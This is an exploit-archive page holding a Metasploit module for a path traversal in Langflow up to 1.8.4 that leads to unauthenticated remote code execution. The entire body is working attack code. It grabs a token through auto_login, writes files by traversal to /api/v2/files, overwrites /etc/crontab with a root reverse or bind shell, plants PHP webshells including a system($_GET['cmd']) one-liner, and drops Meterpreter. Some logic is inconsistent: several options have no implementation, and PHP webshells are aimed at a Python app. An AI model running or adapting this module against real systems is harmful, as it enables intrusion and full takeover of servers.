Share
## https://sploitus.com/exploit?id=PACKETSTORM:219697
==================================================================================================================================
    | # Title     : Langflow โ‰ค 1.8.4 Path Traversal Leading to Unauthenticated Remote Code Execution Metasploit Module               |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.langflow.org/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets a path traversal vulnerability in Langflow (โ‰ค 1.8.4) that allows attackers to write arbitrary files on the system through the /api/v2/files endpoint.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Langflow Path Traversal to Unauthenticated RCE',
            'Description' => %q{
              Langflow <= 1.8.4 contains an arbitrary file write vulnerability via path traversal
              in the POST /api/v2/files endpoint.
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-5027'],
              ['CWE', '22']
            ],
            'License' => MSF_LICENSE,
            'Platform' => ['unix', 'linux'],
            'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
            'Targets' => [
              [
                'Cron Job (Reverse Shell)',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :cron_reverse,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
              [
                'Cron Job (Bind Shell)',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :cron_bind,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/bind_bash'
                  }
                }
              ],
              [
                'Webshell (PHP)',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :webshell_php,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Linux Dropper (Meterpreter)',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :linux_dropper,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-04-19'
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path for Langflow installation', '/']),
          OptString.new('USERNAME', [false, 'Username', '']),
          OptString.new('PASSWORD', [false, 'Password', '']),
          OptEnum.new('WRITE_METHOD', [
            true,
            'Method',
            'cron',
            ['cron', 'ssh_keys', 'webshell', 'systemd']
          ]),
          OptString.new('SSH_PATH', [false, 'SSH path', '/root/.ssh/authorized_keys']),
          OptString.new('WEBSHELL_PATH', [false, 'Web path', '/app/static/shell.php']),
          OptString.new('PUBLIC_KEY', [false, 'SSH key', ''])
        ])
    
        register_advanced_options([
          OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 9]),
          OptInt.new('CRON_WAIT', [true, 'Wait time', 60])
        ])
      end
    
      def setup
        @base_uri = normalize_uri(target_uri.path)
        @traversal = '../' * datastore['TRAVERSAL_DEPTH']
        @token = nil
      end
    
      def check
        print_status("Checking Langflow...")
    
        res = send_request_cgi({
          'uri' => normalize_uri(@base_uri, 'api', 'v1', 'auto_login'),
          'method' => 'GET'
        })
    
        if res && res.code == 200
          begin
            json = JSON.parse(res.body)
            if json['access_token']
              print_good("Auto-login enabled")
              return Exploit::CheckCode::Vulnerable
            end
          rescue
          end
        end
    
        Exploit::CheckCode::Unknown
      end
    
      def authenticate
        res = send_request_cgi({
          'uri' => normalize_uri(@base_uri, 'api', 'v1', 'auto_login'),
          'method' => 'GET'
        })
    
        if res && res.code == 200
          begin
            json = JSON.parse(res.body)
            @token = json['access_token'] if json['access_token']
            return true if @token
          rescue
          end
        end
    
        fail_with(Failure::NoAccess, 'No token')
      end
    
      def write_file(remote_path, content)
        filename = @traversal + remote_path.sub(/^\//, '')
    
        data = Rex::MIME::Message.new
        data.add_part(content, 'application/octet-stream', nil,
                      "form-data; name=\"file\"; filename=\"#{filename}\"")
    
        res = send_request_cgi({
          'uri' => normalize_uri(@base_uri, 'api', 'v2', 'files'),
          'method' => 'POST',
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s,
          'headers' => { 'Authorization' => "Bearer #{@token}" }
        })
    
        return (res && (res.code == 200 || res.code == 201))
      end
    
      def exploit_cron_reverse(payload_content)
        cron_content = <<~CRON
    SHELL=/bin/bash
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    * * * * * root #{payload_content}
    CRON
    
        write_file('/etc/crontab', cron_content)
      end
    
      def exploit_webshell_php(payload_content)
        webshell_path = datastore['WEBSHELL_PATH']
        php = "<?php #{payload_content} ?>"
    
        if write_file(webshell_path, php)
          register_file_for_cleanup(webshell_path)
          print_good("Webshell written")
        end
      end
    
      def exploit_linux_dropper
        webshell = '/tmp/langflow.php'
        content = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'
    
        if write_file(webshell, content)
          @stager = normalize_uri(@base_uri, webshell)
          execute_cmdstager({ 'background' => true })
        end
      end
    
      def exploit
        print_status("Exploiting Langflow")
    
        authenticate
    
        case target['Type']
        when :cron_reverse
          exploit_cron_reverse(payload.encoded)
        when :webshell_php
          exploit_webshell_php(payload.encoded)
        when :linux_dropper
          exploit_linux_dropper
        end
    
        print_status("Done")
        handler if target['Type'] != :webshell_php
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================